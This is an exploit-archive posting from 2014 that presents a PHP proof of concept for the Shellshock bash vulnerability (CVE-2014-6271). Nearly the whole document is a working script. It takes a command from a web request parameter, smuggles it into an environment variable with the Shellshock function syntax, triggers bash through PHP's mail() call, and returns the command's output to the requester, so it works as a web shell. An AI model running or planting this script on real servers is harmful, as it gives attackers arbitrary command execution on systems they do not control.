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PHP 5.x / Bash Shellshock Proof Of Concept

Posted on 25 November 2014

<?php // Exploit Title: PHP 5.x and GNU Bash <= 4.3 Shellshock Exploit // Date: 22/11/2014 // Exploit Author: ssbostan // Vendor Homepage: http://www.gnu.org/software/bash/ // Software Link: http://ftp.gnu.org/gnu/bash/ // Version: <= 4.3 // Tested on: Fedora 17, Ubuntu 8.04 // CVE: http://www.cvedetails.com/cve/CVE-2014-6271/ if(isset($_GET["cmd"]) && !empty($_GET["cmd"])) { $file=tempnam("/tmp", "xpl"); putenv("PHP_XPL=() { :;}; {$_GET["cmd"]}>{$file}"); mail("xpl@localhost", "", "", "", "-bv"); echo file_get_contents($file); unlink($file); } ?>

 

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